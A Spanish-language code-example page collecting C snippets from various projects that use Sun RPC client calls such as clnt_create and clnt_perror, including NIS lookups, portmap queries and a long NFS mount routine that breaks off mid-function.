Ejemplo n.º 1
0
void
initialize(iter_t iterations, void* cookie)
{
    struct	timeval tv;
    state_t *state = (state_t*)cookie;

    if (iterations) return;

    state->cl = clnt_create(state->server, XACT_PROG, XACT_VERS,
                            state->protocol);
    if (!state->cl) {
        clnt_pcreateerror(state->server);
        exit(1);
    }
    if (strcasecmp(state->protocol, proto[1]) == 0) {
        tv.tv_sec = 0;
        tv.tv_usec = 2500;
        if (!clnt_control(state->cl, CLSET_RETRY_TIMEOUT, (char *)&tv)) {
            clnt_perror(state->cl, "setting timeout");
            exit(1);
        }
    }
}
Ejemplo n.º 2
0
void
device_async_1(char *host)
{
	CLIENT *clnt;
	Device_Error  *result_1;
	Device_Link  device_abort_1_arg;

#ifndef	DEBUG
	clnt = clnt_create (host, DEVICE_ASYNC, DEVICE_ASYNC_VERSION, "udp");
	if (clnt == NULL) {
		clnt_pcreateerror (host);
		exit (1);
	}
#endif	/* DEBUG */

	result_1 = device_abort_1(&device_abort_1_arg, clnt);
	if (result_1 == (Device_Error *) NULL) {
		clnt_perror (clnt, "call failed");
	}
#ifndef	DEBUG
	clnt_destroy (clnt);
#endif	 /* DEBUG */
}
Ejemplo n.º 3
0
void
device_intr_1(char *host)
{
	CLIENT *clnt;
	void  *result_1;
	Device_SrqParms  device_intr_srq_1_arg;

#ifndef	DEBUG
	clnt = clnt_create (host, DEVICE_INTR, DEVICE_INTR_VERSION, "udp");
	if (clnt == NULL) {
		clnt_pcreateerror (host);
		exit (1);
	}
#endif	/* DEBUG */

	result_1 = device_intr_srq_1(&device_intr_srq_1_arg, clnt);
	if (result_1 == (void *) NULL) {
		clnt_perror (clnt, "call failed");
	}
#ifndef	DEBUG
	clnt_destroy (clnt);
#endif	 /* DEBUG */
}
Ejemplo n.º 4
0
static int ippool_act_test_log(struct cli_node *node, int argc, char *argv[], int *arg_num)
{
	char *message = NULL;
	IPPOOL_ACT_DECLARATIONS(4, ippool_test_arg_ids_t, int);

	IPPOOL_ACT_BEGIN() {
		switch (arg_id) {
		case IPPOOL_TEST_ARGID_LOG_MESSAGE:
			message = arg_values[arg];
			break;
		default:
			result = -EINVAL;
			goto out;
		}
	} IPPOOL_ACT_END()

	if (message == NULL) {
		fprintf(stderr, "Required message argument missing\n");
		result = -EINVAL;
		goto out;
	}

	result = ippool_test_log_1(message, &clnt_res, cl);
	if (result != RPC_SUCCESS) {
		clnt_perror(cl, server);
		result = -EAGAIN;
		goto out;
	}
	if (clnt_res < 0) {
		fprintf(stderr, "Operation failed: %s\n", strerror(-clnt_res));
		result = -clnt_res;
		goto out;
	}

out:
	return 0;
}
Ejemplo n.º 5
0
main(int argc, char **argv)
{
    CLIENT *clnt;
    int *result;
    char *server;
    char *message;

    if(argc != 3)
    {
        fprintf(stderr,"usage:%s host message\n",argv[0]);
        exit(1);
    }
    server = argv[1];
    message = argv[2];

    clnt = clnt_create(server, MESSAGEPROG, PRINTMESSAGEVERS, "tcp");
    if(clnt == (CLIENT *) NULL)
    {
        clnt_pcreateerror(server);
        printf("error\n");
        exit(1);
    }
    result = printmessage_1(&message,clnt);
    if(result == (int *)NULL)
    {
        clnt_perror(clnt,server);
        exit(1);
    }
    if(*result == 0){
        fprintf(stderr,"%s: could not print your message\n",server);
        clnt_destroy(clnt);
        exit(0);
    }
    else
        printf("result : %d\n", &result);

}
Ejemplo n.º 6
0
int
sam_lstat(
const char *filename,
struct sam_stat *statbuf,
size_t bufsize)
{
	sam_st *result_1;
	statcmd samlstat_1_arg;
	int size;

	if (clnt == (CLIENT *)NULL) {
		errno = EDESTADDRREQ;
		return(-1);
	}
	samlstat_1_arg.filename = sam_filename((char *)filename);
	if (samlstat_1_arg.filename == NULL) {
		errno = EINVAL;
		return(-1);
	}
	samlstat_1_arg.size = bufsize;
	result_1 = samlstat_1(&samlstat_1_arg, clnt);
	if (result_1 == (sam_st *)NULL) {
		clnt_perror(clnt, "sam_lstat failed");
		return(-1);
	}
	if (result_1->result) {
		errno = result_1->result;
		return(-1);
	}
	/*
	 * Copy the stat structure returned to the user's specified location.
	 */
	size = (bufsize <= sizeof(struct sam_stat)) ?
		bufsize : sizeof(struct sam_stat);
	(void)memcpy(statbuf, &result_1->s, sizeof(struct sam_stat));
	return(0);
}
Ejemplo n.º 7
0
int
yp_match_host(CLIENT *client, char *indomain, char *inmap, const char *inkey,
    int inkeylen, char **outval, int *outvallen)
{
	struct ypresp_val yprv;
	struct ypreq_key yprk;
	struct timeval tv;
	int r;

	*outval = NULL;
	*outvallen = 0;

	tv.tv_sec = _yplib_host_timeout;
	tv.tv_usec = 0;

	yprk.domain = indomain;
	yprk.map = inmap;
	yprk.key.keydat_val = (char *)inkey;
	yprk.key.keydat_len = inkeylen;

	memset(&yprv, 0, sizeof yprv);

	r = clnt_call(client, YPPROC_MATCH,
	    (xdrproc_t)xdr_ypreq_key, &yprk,
	    (xdrproc_t)xdr_ypresp_val, &yprv, tv);
	if (r != RPC_SUCCESS)
		clnt_perror(client, "yp_match_host: clnt_call");
	if ( !(r = ypprot_err(yprv.stat)) ) {
		*outvallen = yprv.val.valdat_len;
		*outval = malloc(*outvallen + 1);
		memcpy(*outval, yprv.val.valdat_val, *outvallen);
		(*outval)[*outvallen] = '\0';
	}
	xdr_free((xdrproc_t)xdr_ypresp_val, (char *)&yprv);

	return (r);
}
Ejemplo n.º 8
0
int rpc_init()
{
    int ret = 0;
    int server_id = 0;

    CLIENT *rpc_clnt = getConnection(server_id);
    giga_result_t rpc_reply;
    
    logMessage(LOG_TRACE, __func__, "RPC_init: start.");

    if ((giga_rpc_init_1(giga_options_t.num_servers, &rpc_reply, rpc_clnt)) 
         != RPC_SUCCESS) {
        logMessage(LOG_FATAL, __func__, "RPC_error: rpc_init failed."); 
        clnt_perror(rpc_clnt,"(rpc_init failed)");
        exit(1);//TODO: retry again?
    }

    int errnum = rpc_reply.errnum;
    if (errnum == -EAGAIN) {
        int dir_id = 0; // update root server's bitmap
        struct giga_directory *dir = cache_fetch(&dir_id);
        if (dir == NULL) {
            logMessage(LOG_DEBUG, __func__, "Dir (id=%d) not in cache!", dir_id);
            ret = -EIO;
        }
        else {
            update_client_mapping(dir, &rpc_reply.giga_result_t_u.bitmap); 
            ret = 0;
        }
    } else if (errnum < 0) {
        ret = errnum;
    }

    logMessage(LOG_TRACE, __func__, "RPC_init: done.");

    return ret;
}
Ejemplo n.º 9
0
void
rpccracker_1(char *host)
{
    CLIENT *clnt;
    enum clnt_stat retval_1;
    void *result_1;
    message  get_1_arg;

#ifndef	DEBUG
    clnt = clnt_create (host, rpcCracker, CAVERLEE4PRES, "udp");
    if (clnt == NULL) {
        clnt_pcreateerror (host);
        exit (1);
    }
#endif	/* DEBUG */

    retval_1 = get_1(&get_1_arg, &result_1, clnt);
    if (retval_1 != RPC_SUCCESS) {
        clnt_perror (clnt, "call failed");
    }
#ifndef	DEBUG
    clnt_destroy (clnt);
#endif	 /* DEBUG */
}
Ejemplo n.º 10
0
static int
onehost(const char *host)
{
    CLIENT *rstat_clnt;
    statstime host_stat;
    struct sockaddr_in addr;
    struct hostent *hp;
    struct timeval tv;

    hp = gethostbyname(host);
    if (hp == NULL) {
        herror("rup");
        return(1);
    }

    rstat_clnt = clnt_create(host, RSTATPROG, RSTATVERS_TIME, "udp");
    if (rstat_clnt == NULL) {
        clnt_pcreateerror(host);
        return(1);
    }

    bzero(&host_stat, sizeof(host_stat));
    tv.tv_sec = 15;	/* XXX ??? */
    tv.tv_usec = 0;
    if (clnt_call(rstat_clnt, RSTATPROC_STATS, (xdrproc_t)xdr_void, NULL,
                  (xdrproc_t)xdr_statstime, &host_stat, tv) != RPC_SUCCESS) {
        clnt_perror(rstat_clnt, host);
        clnt_destroy(rstat_clnt);
        return(1);
    }

    addr.sin_addr.s_addr = *(int *)hp->h_addr;
    rstat_reply((caddr_t)&host_stat, &addr);
    clnt_destroy(rstat_clnt);
    return (0);
}
Ejemplo n.º 11
0
/*
 * Get a copy of the current port maps.
 * Calls the pmap service remotely to do get the maps.
 */
struct pmaplist *
pmap_getmaps(struct sockaddr_in *address)
{
	struct pmaplist *head = (struct pmaplist *)NULL;
	int sock = -1;
	struct timeval minutetimeout;
	register CLIENT *client;

	minutetimeout.tv_sec = 60;
	minutetimeout.tv_usec = 0;
	address->sin_port = htons(PMAPPORT);
	client = clnttcp_create(address, PMAPPROG,
	    PMAPVERS, &sock, 50, 500);
	if (client != (CLIENT *)NULL) {
		if (CLNT_CALL(client, PMAPPROC_DUMP, xdr_void, NULL, xdr_pmaplist,
		    &head, minutetimeout) != RPC_SUCCESS) {
			clnt_perror(client, "pmap_getmaps rpc problem");
		}
		CLNT_DESTROY(client);
	}
	(void)close(sock);
	address->sin_port = 0;
	return (head);
}
Ejemplo n.º 12
0
void resetearClientes(char *host)
{
	CLIENT *clnt;
	
	void  *result_3;
	char *resetearclientes_1_arg;
	
#ifndef	DEBUG
	clnt = clnt_create (host, NUMERADORCLIENTE, NUMERADORCLIENTE1, "udp");
	if (clnt == NULL) {
		clnt_pcreateerror (host);
		exit (1);
	}
#endif	/* DEBUG */

	result_3 = resetearclientes_1((void*)&resetearclientes_1_arg, clnt);
	if (result_3 == (void *) NULL) {
		clnt_perror (clnt, "call failed");
	}
	
#ifndef	DEBUG
	clnt_destroy (clnt);
#endif	 /* DEBUG */
}
Ejemplo n.º 13
0
int
yp_master_host(CLIENT *client, char *indomain, char *inmap, char **outname)
{
	struct ypresp_master yprm;
	struct ypreq_nokey yprnk;
	struct timeval tv;
	int r;

	tv.tv_sec = _yplib_host_timeout;
	tv.tv_usec = 0;
	yprnk.domain = indomain;
	yprnk.map = inmap;

	memset(&yprm, 0, sizeof yprm);

	r = clnt_call(client, YPPROC_MASTER,
	    xdr_ypreq_nokey, &yprnk, xdr_ypresp_master, &yprm, tv);
	if (r != RPC_SUCCESS)
		clnt_perror(client, "yp_master: clnt_call");
	if (!(r = ypprot_err(yprm.stat)))
		*outname = strdup(yprm.peer);
	xdr_free(xdr_ypresp_master, (char *)&yprm);
	return r;
}
Ejemplo n.º 14
0
int
yp_order_host(CLIENT *client, char *indomain, char *inmap, u_int32_t *outorder)
{
	struct ypresp_order ypro;
	struct ypreq_nokey yprnk;
	struct timeval tv;
	int r;

	tv.tv_sec = _yplib_host_timeout;
	tv.tv_usec = 0;

	yprnk.domain = indomain;
	yprnk.map = inmap;

	memset(&ypro, 0, sizeof ypro);

	r = clnt_call(client, YPPROC_ORDER,
	    xdr_ypreq_nokey, &yprnk, xdr_ypresp_order, &ypro, tv);
	if (r != RPC_SUCCESS)
		clnt_perror(client, "yp_order_host: clnt_call");
	*outorder = ypro.ordernum;
	xdr_free(xdr_ypresp_order, (char *)&ypro);
	return ypprot_err(ypro.stat);
}
Ejemplo n.º 15
0
int
yp_first_host(CLIENT *client, char *indomain, char *inmap, char **outkey,
    int *outkeylen, char **outval, int *outvallen)
{
	struct ypresp_key_val yprkv;
	struct ypreq_nokey yprnk;
	struct timeval tv;
	int r;

	*outkey = *outval = NULL;
	*outkeylen = *outvallen = 0;

	tv.tv_sec = _yplib_host_timeout;
	tv.tv_usec = 0;

	yprnk.domain = indomain;
	yprnk.map = inmap;
	memset(&yprkv, 0, sizeof yprkv);

	r = clnt_call(client, YPPROC_FIRST,
	    xdr_ypreq_nokey, &yprnk, xdr_ypresp_key_val, &yprkv, tv);
	if (r != RPC_SUCCESS)
		clnt_perror(client, "yp_first_host: clnt_call");
	if ( !(r = ypprot_err(yprkv.stat)) ) {
		*outkeylen = yprkv.key.keydat_len;
		*outkey = malloc(*outkeylen+1);
		memcpy(*outkey, yprkv.key.keydat_val, *outkeylen);
		(*outkey)[*outkeylen] = '\0';
		*outvallen = yprkv.val.valdat_len;
		*outval = malloc(*outvallen+1);
		memcpy(*outval, yprkv.val.valdat_val, *outvallen);
		(*outval)[*outvallen] = '\0';
	}
	xdr_free(xdr_ypresp_key_val, (char *)&yprkv);
	return r;
}
Ejemplo n.º 16
0
void init_keyval_store(CLIENT *clnt, char **INIT){
/* initializing the key value store */

				printf("Initializing key-value store\n");
				int j;
				for(j = 0 ; j < 7 ; j++){
								printf("%s\n", INIT[j]);
								bool_t result_1;
								enum clnt_stat retval_1;
								row  put_1_arg;
								char buff[80];
								strcpy (buff, INIT[j]);
								const char *delimiter = ":";
								char *argarray = strtok(buff, delimiter);
								int counttoken = 0;
								char arg[3][25];
								while(argarray != NULL){
												strcpy(arg[counttoken], argarray);
												counttoken += 1;
												argarray = strtok(NULL, delimiter);

								}
								put_1_arg.key = atoi(arg[0]);
								strcpy(put_1_arg.value, arg[1]);
								put_1(&put_1_arg, &result_1, clnt);//call put to initialize key-value store
								if (retval_1 != RPC_SUCCESS) {
												clnt_perror (clnt, "call failed");
								}
								if(result_1 == TRUE){
												printf("PUT SUCCESS\n");
								}else{
												printf("PUT FAILED\n");
								}
				}
				printf("key-value store initialized\n");
}
Ejemplo n.º 17
0
static int ippool_act_ip_pool_modify(struct cli_node *node, int argc, char *argv[], int *arg_num)
{
	struct ippool_api_pool_msg_data msg = { 0, };
	IPPOOL_ACT_DECLARATIONS(40, ippool_arg_ids_t, int);

	IPPOOL_ACT_BEGIN() {
		result = ippool_parse_arg(arg_id, args[arg], arg_values[arg], &msg);
		if (result < 0) {
			goto out;
		}
	} IPPOOL_ACT_END();

	if (msg.pool_name == NULL) {
		fprintf(stderr, "Required pool_name argument missing\n");
		result = -EINVAL;
		goto out;
	}

	result = ippool_modify_1(msg, &clnt_res, cl);
	if (result != RPC_SUCCESS) {
		clnt_perror(cl, server);
		result = -EAGAIN;
		goto out;
	}
	if (clnt_res < 0) {
		fprintf(stderr, "Operation failed: %s\n", strerror(-clnt_res));
		result = clnt_res;
		goto out;
	}
	if (!opt_quiet) {
		fprintf(stderr, "Modified pool %s\n", msg.pool_name);
	}

out:
	return result;
}
Ejemplo n.º 18
0
int
yp_next_host(CLIENT *client, char *indomain, char *inmap, char *inkey,
	     int inkeylen, char **outkey, int *outkeylen, char **outval,
	     int *outvallen)
{
	struct ypresp_key_val yprkv;
	struct ypreq_key yprk;
	int r;

	*outkey = *outval = NULL;
	*outkeylen = *outvallen = 0;

	yprk.domain = indomain;
	yprk.map = inmap;
	yprk.keydat.dptr = inkey;
	yprk.keydat.dsize = inkeylen;
	memset(&yprkv, 0, sizeof yprkv);

	r = clnt_call(client, YPPROC_NEXT, xdr_ypreq_key, &yprk,
	    xdr_ypresp_key_val, &yprkv, _yplib_host_timeout);
	if (r != RPC_SUCCESS)
		clnt_perror(client, "yp_next_host: clnt_call");

	if(!(r=ypprot_err(yprkv.status)) ) {
		*outkeylen = yprkv.keydat.dsize;
		*outkey = (char *)malloc(*outkeylen+1);
		memcpy(*outkey, yprkv.keydat.dptr, *outkeylen);
		(*outkey)[*outkeylen] = '\0';
		*outvallen = yprkv.valdat.dsize;
		*outval = (char *)malloc(*outvallen+1);
		memcpy(*outval, yprkv.valdat.dptr, *outvallen);
		(*outval)[*outvallen] = '\0';
	}
	xdr_free((xdrproc_t)xdr_ypresp_key_val, (char *)&yprkv);
	return r;
}
Ejemplo n.º 19
0
void
benchmark(char *server, char* protocol)
{
	CLIENT *cl;
	char	buf[256];
	struct	timeval tv;

	cl = clnt_create(server, XACT_PROG, XACT_VERS, protocol);
	if (!cl) {
		clnt_pcreateerror(server);
		exit(1);
	}
	if (strcasecmp(protocol, proto[1]) == 0) {
		tv.tv_sec = 0;
		tv.tv_usec = 2500;
		if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *)&tv)) {
			clnt_perror(cl, "setting timeout");
			exit(1);
		}
	}
	BENCH(doit(cl, server, protocol), MEDIUM);
	sprintf(buf, "RPC/%s latency using %s", protocol, server);
	micro(buf, get_n());
}
Ejemplo n.º 20
0
int nfsmount(const char *spec, const char *node, int *flags,
	     char **extra_opts, char **mount_opts, int running_bg)
{
	static char *prev_bg_host;
	char hostdir[1024];
	CLIENT *mclient;
	char *hostname;
	char *pathname;
	char *old_opts;
	char *mounthost=NULL;
	char new_opts[1024];
	struct timeval total_timeout;
	enum clnt_stat clnt_stat;
	static struct nfs_mount_data data;
	char *opt, *opteq;
	int val;
	struct hostent *hp;
	struct sockaddr_in server_addr;
	struct sockaddr_in mount_server_addr;
	struct pmap* pm_mnt;
	int msock, fsock;
	struct timeval retry_timeout;
	union {
		struct fhstatus nfsv2;
		struct mountres3 nfsv3;
	} status;
	struct stat statbuf;
	char *s;
	int port;
	int mountport;
	int proto;
	int bg;
	int soft;
	int intr;
	int posix;
	int nocto;
	int noac;
	int nolock;
	int retry;
	int tcp;
	int mountprog;
	int mountvers;
	int nfsprog;
	int nfsvers;
	int retval;
	time_t t;
	time_t prevt;
	time_t timeout;

	find_kernel_nfs_mount_version();

	retval = EX_FAIL;
	msock = fsock = -1;
	mclient = NULL;
	if (strlen(spec) >= sizeof(hostdir)) {
		bb_error_msg("excessively long host:dir argument");
		goto fail;
	}
	strcpy(hostdir, spec);
	if ((s = strchr(hostdir, ':'))) {
		hostname = hostdir;
		pathname = s + 1;
		*s = '\0';
		/* Ignore all but first hostname in replicated mounts
		   until they can be fully supported. ([email protected]) */
		if ((s = strchr(hostdir, ','))) {
			*s = '\0';
			bb_error_msg("warning: multiple hostnames not supported");
		}
	} else {
		bb_error_msg("directory to mount not in host:dir format");
		goto fail;
	}

	server_addr.sin_family = AF_INET;
#ifdef HAVE_inet_aton
	if (!inet_aton(hostname, &server_addr.sin_addr))
#endif
	{
		if ((hp = gethostbyname(hostname)) == NULL) {
			bb_herror_msg("%s", hostname);
			goto fail;
		} else {
			if (hp->h_length > sizeof(struct in_addr)) {
				bb_error_msg("got bad hp->h_length");
				hp->h_length = sizeof(struct in_addr);
			}
			memcpy(&server_addr.sin_addr,
			       hp->h_addr, hp->h_length);
		}
	}

	memcpy (&mount_server_addr, &server_addr, sizeof (mount_server_addr));

	/* add IP address to mtab options for use when unmounting */

	s = inet_ntoa(server_addr.sin_addr);
	old_opts = *extra_opts;
	if (!old_opts)
		old_opts = "";
	if (strlen(old_opts) + strlen(s) + 10 >= sizeof(new_opts)) {
		bb_error_msg("excessively long option argument");
		goto fail;
	}
	sprintf(new_opts, "%s%saddr=%s",
		old_opts, *old_opts ? "," : "", s);
	*extra_opts = bb_xstrdup(new_opts);

	/* Set default options.
	 * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to
	 * let the kernel decide.
	 * timeo is filled in after we know whether it'll be TCP or UDP. */
	memset(&data, 0, sizeof(data));
	data.retrans	= 3;
	data.acregmin	= 3;
	data.acregmax	= 60;
	data.acdirmin	= 30;
	data.acdirmax	= 60;
#if NFS_MOUNT_VERSION >= 2
	data.namlen	= NAME_MAX;
#endif

	bg = 0;
	soft = 0;
	intr = 0;
	posix = 0;
	nocto = 0;
	nolock = 0;
	noac = 0;
	retry = 10000;		/* 10000 minutes ~ 1 week */
	tcp = 0;

	mountprog = MOUNTPROG;
	mountvers = 0;
	port = 0;
	mountport = 0;
	nfsprog = NFS_PROGRAM;
	nfsvers = 0;

	/* parse options */

	for (opt = strtok(old_opts, ","); opt; opt = strtok(NULL, ",")) {
		if ((opteq = strchr(opt, '='))) {
			val = atoi(opteq + 1);	
			*opteq = '\0';
			if (!strcmp(opt, "rsize"))
				data.rsize = val;
			else if (!strcmp(opt, "wsize"))
				data.wsize = val;
			else if (!strcmp(opt, "timeo"))
				data.timeo = val;
			else if (!strcmp(opt, "retrans"))
				data.retrans = val;
			else if (!strcmp(opt, "acregmin"))
				data.acregmin = val;
			else if (!strcmp(opt, "acregmax"))
				data.acregmax = val;
			else if (!strcmp(opt, "acdirmin"))
				data.acdirmin = val;
			else if (!strcmp(opt, "acdirmax"))
				data.acdirmax = val;
			else if (!strcmp(opt, "actimeo")) {
				data.acregmin = val;
				data.acregmax = val;
				data.acdirmin = val;
				data.acdirmax = val;
			}
			else if (!strcmp(opt, "retry"))
				retry = val;
			else if (!strcmp(opt, "port"))
				port = val;
			else if (!strcmp(opt, "mountport"))
			        mountport = val;
			else if (!strcmp(opt, "mounthost"))
			        mounthost=bb_xstrndup(opteq+1,
						  strcspn(opteq+1," \t\n\r,"));
			else if (!strcmp(opt, "mountprog"))
				mountprog = val;
			else if (!strcmp(opt, "mountvers"))
				mountvers = val;
			else if (!strcmp(opt, "nfsprog"))
				nfsprog = val;
			else if (!strcmp(opt, "nfsvers") ||
				 !strcmp(opt, "vers"))
				nfsvers = val;
			else if (!strcmp(opt, "proto")) {
				if (!strncmp(opteq+1, "tcp", 3))
					tcp = 1;
				else if (!strncmp(opteq+1, "udp", 3))
					tcp = 0;
				else
					printf(_("Warning: Unrecognized proto= option.\n"));
			} else if (!strcmp(opt, "namlen")) {
#if NFS_MOUNT_VERSION >= 2
				if (nfs_mount_version >= 2)
					data.namlen = val;
				else
#endif
				printf(_("Warning: Option namlen is not supported.\n"));
			} else if (!strcmp(opt, "addr"))
				/* ignore */;
			else {
				printf(_("unknown nfs mount parameter: "
				       "%s=%d\n"), opt, val);
				goto fail;
			}
		}
		else {
			val = 1;
			if (!strncmp(opt, "no", 2)) {
				val = 0;
				opt += 2;
			}
			if (!strcmp(opt, "bg")) 
				bg = val;
			else if (!strcmp(opt, "fg")) 
				bg = !val;
			else if (!strcmp(opt, "soft"))
				soft = val;
			else if (!strcmp(opt, "hard"))
				soft = !val;
			else if (!strcmp(opt, "intr"))
				intr = val;
			else if (!strcmp(opt, "posix"))
				posix = val;
			else if (!strcmp(opt, "cto"))
				nocto = !val;
			else if (!strcmp(opt, "ac"))
				noac = !val;
			else if (!strcmp(opt, "tcp"))
				tcp = val;
			else if (!strcmp(opt, "udp"))
				tcp = !val;
			else if (!strcmp(opt, "lock")) {
				if (nfs_mount_version >= 3)
					nolock = !val;
				else
					printf(_("Warning: option nolock is not supported.\n"));
			} else {
				printf(_("unknown nfs mount option: "
					   "%s%s\n"), val ? "" : "no", opt);
				goto fail;
			}
		}
	}
	proto = (tcp) ? IPPROTO_TCP : IPPROTO_UDP;

	data.flags = (soft ? NFS_MOUNT_SOFT : 0)
		| (intr ? NFS_MOUNT_INTR : 0)
		| (posix ? NFS_MOUNT_POSIX : 0)
		| (nocto ? NFS_MOUNT_NOCTO : 0)
		| (noac ? NFS_MOUNT_NOAC : 0);
#if NFS_MOUNT_VERSION >= 2
	if (nfs_mount_version >= 2)
		data.flags |= (tcp ? NFS_MOUNT_TCP : 0);
#endif
#if NFS_MOUNT_VERSION >= 3
	if (nfs_mount_version >= 3)
		data.flags |= (nolock ? NFS_MOUNT_NONLM : 0);
#endif
	if (nfsvers > MAX_NFSPROT) {
		bb_error_msg("NFSv%d not supported!", nfsvers);
		return 0;
	}
	if (mountvers > MAX_NFSPROT) {
		bb_error_msg("NFSv%d not supported!", nfsvers);
		return 0;
	}
	if (nfsvers && !mountvers)
		mountvers = (nfsvers < 3) ? 1 : nfsvers;
	if (nfsvers && nfsvers < mountvers) {
		mountvers = nfsvers;
	}

	/* Adjust options if none specified */
	if (!data.timeo)
		data.timeo = tcp ? 70 : 7;

#ifdef NFS_MOUNT_DEBUG
	printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n",
		data.rsize, data.wsize, data.timeo, data.retrans);
	printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n",
		data.acregmin, data.acregmax, data.acdirmin, data.acdirmax);
	printf("port = %d, bg = %d, retry = %d, flags = %.8x\n",
		port, bg, retry, data.flags);
	printf("mountprog = %d, mountvers = %d, nfsprog = %d, nfsvers = %d\n",
		mountprog, mountvers, nfsprog, nfsvers);
	printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n",
		(data.flags & NFS_MOUNT_SOFT) != 0,
		(data.flags & NFS_MOUNT_INTR) != 0,
		(data.flags & NFS_MOUNT_POSIX) != 0,
		(data.flags & NFS_MOUNT_NOCTO) != 0,
		(data.flags & NFS_MOUNT_NOAC) != 0);
#if NFS_MOUNT_VERSION >= 2
	printf("tcp = %d\n",
		(data.flags & NFS_MOUNT_TCP) != 0);
#endif
#endif

	data.version = nfs_mount_version;
	*mount_opts = (char *) &data;

	if (*flags & MS_REMOUNT)
		return 0;

	/*
	 * If the previous mount operation on the same host was
	 * backgrounded, and the "bg" for this mount is also set,
	 * give up immediately, to avoid the initial timeout.
	 */
	if (bg && !running_bg &&
	    prev_bg_host && strcmp(hostname, prev_bg_host) == 0) {
		if (retry > 0)
			retval = EX_BG;
		return retval;
	}

	/* create mount deamon client */
	/* See if the nfs host = mount host. */
	if (mounthost) {
	  if (mounthost[0] >= '0' && mounthost[0] <= '9') {
	    mount_server_addr.sin_family = AF_INET;
	    mount_server_addr.sin_addr.s_addr = inet_addr(hostname);
	  } else {
		  if ((hp = gethostbyname(mounthost)) == NULL) {
			  bb_herror_msg("%s", mounthost);
			  goto fail;
		  } else {
			  if (hp->h_length > sizeof(struct in_addr)) {
				  bb_error_msg("got bad hp->h_length?");
				  hp->h_length = sizeof(struct in_addr);
			  }
			  mount_server_addr.sin_family = AF_INET;
			  memcpy(&mount_server_addr.sin_addr,
				 hp->h_addr, hp->h_length);
		  }
	  }
	}

	/*
	 * The following loop implements the mount retries. On the first
	 * call, "running_bg" is 0. When the mount times out, and the
	 * "bg" option is set, the exit status EX_BG will be returned.
	 * For a backgrounded mount, there will be a second call by the
	 * child process with "running_bg" set to 1.
	 *
	 * The case where the mount point is not present and the "bg"
	 * option is set, is treated as a timeout. This is done to
	 * support nested mounts.
	 *
	 * The "retry" count specified by the user is the number of
	 * minutes to retry before giving up.
	 *
	 * Only the first error message will be displayed.
	 */
	retry_timeout.tv_sec = 3;
	retry_timeout.tv_usec = 0;
	total_timeout.tv_sec = 20;
	total_timeout.tv_usec = 0;
	timeout = time(NULL) + 60 * retry;
	prevt = 0;
	t = 30;
	val = 1;
	for (;;) {
		if (bg && stat(node, &statbuf) == -1) {
			if (running_bg) {
				sleep(val);	/* 1, 2, 4, 8, 16, 30, ... */
				val *= 2;
				if (val > 30)
					val = 30;
			}
		} else {
			/* be careful not to use too many CPU cycles */
			if (t - prevt < 30)
				sleep(30);

			pm_mnt = get_mountport(&mount_server_addr,
				       mountprog,
				       mountvers,
				       proto,
 				       mountport);

			/* contact the mount daemon via TCP */
			mount_server_addr.sin_port = htons(pm_mnt->pm_port);
			msock = RPC_ANYSOCK;

			switch (pm_mnt->pm_prot) {
			case IPPROTO_UDP:
				mclient = clntudp_create(&mount_server_addr,
						 pm_mnt->pm_prog,
						 pm_mnt->pm_vers,
						 retry_timeout,
						 &msock);
		  if (mclient)
			  break;
		  mount_server_addr.sin_port = htons(pm_mnt->pm_port);
		  msock = RPC_ANYSOCK;
		case IPPROTO_TCP:
			mclient = clnttcp_create(&mount_server_addr,
						 pm_mnt->pm_prog,
						 pm_mnt->pm_vers,
						 &msock, 0, 0);
			break;
		default:
			mclient = 0;
			}
			if (mclient) {
				/* try to mount hostname:pathname */
				mclient->cl_auth = authunix_create_default();

			/* make pointers in xdr_mountres3 NULL so
			 * that xdr_array allocates memory for us
			 */
			memset(&status, 0, sizeof(status));

			if (pm_mnt->pm_vers == 3)
				clnt_stat = clnt_call(mclient, MOUNTPROC3_MNT,
						      (xdrproc_t) xdr_dirpath,
						      (caddr_t) &pathname,
						      (xdrproc_t) xdr_mountres3,
						      (caddr_t) &status,
					total_timeout);
			else
				clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
						      (xdrproc_t) xdr_dirpath,
						      (caddr_t) &pathname,
						      (xdrproc_t) xdr_fhstatus,
						      (caddr_t) &status,
						      total_timeout);

				if (clnt_stat == RPC_SUCCESS)
					break;		/* we're done */
				if (errno != ECONNREFUSED) {
					clnt_perror(mclient, "mount");
					goto fail;	/* don't retry */
				}
				if (!running_bg && prevt == 0)
					clnt_perror(mclient, "mount");
				auth_destroy(mclient->cl_auth);
				clnt_destroy(mclient);
				mclient = 0;
				close(msock);
			} else {
				if (!running_bg && prevt == 0)
					clnt_pcreateerror("mount");
			}
			prevt = t;
		}
		if (!bg)
		        goto fail;
		if (!running_bg) {
			prev_bg_host = bb_xstrdup(hostname);
			if (retry > 0)
				retval = EX_BG;
			goto fail;
		}
		t = time(NULL);
		if (t >= timeout)
			goto fail;
	}
	nfsvers = (pm_mnt->pm_vers < 2) ? 2 : pm_mnt->pm_vers;

	if (nfsvers == 2) {
		if (status.nfsv2.fhs_status != 0) {
			bb_error_msg("%s:%s failed, reason given by server: %s",
				hostname, pathname,
				nfs_strerror(status.nfsv2.fhs_status));
			goto fail;
		}
		memcpy(data.root.data,
		       (char *) status.nfsv2.fhstatus_u.fhs_fhandle,
		       NFS_FHSIZE);
#if NFS_MOUNT_VERSION >= 4
		data.root.size = NFS_FHSIZE;
		memcpy(data.old_root.data,
		       (char *) status.nfsv2.fhstatus_u.fhs_fhandle,
		       NFS_FHSIZE);
#endif
	} else {
#if NFS_MOUNT_VERSION >= 4
		fhandle3 *my_fhandle;
		if (status.nfsv3.fhs_status != 0) {
			bb_error_msg("%s:%s failed, reason given by server: %s",
				hostname, pathname,
				nfs_strerror(status.nfsv3.fhs_status));
			goto fail;
		}
		my_fhandle = &status.nfsv3.mountres3_u.mountinfo.fhandle;
		memset(data.old_root.data, 0, NFS_FHSIZE);
		memset(&data.root, 0, sizeof(data.root));
		data.root.size = my_fhandle->fhandle3_len;
		memcpy(data.root.data,
		       (char *) my_fhandle->fhandle3_val,
		       my_fhandle->fhandle3_len);

		data.flags |= NFS_MOUNT_VER3;
#endif
	}

	/* create nfs socket for kernel */

	if (tcp) {
		if (nfs_mount_version < 3) {
	     		printf(_("NFS over TCP is not supported.\n"));
			goto fail;
		}
		fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	} else
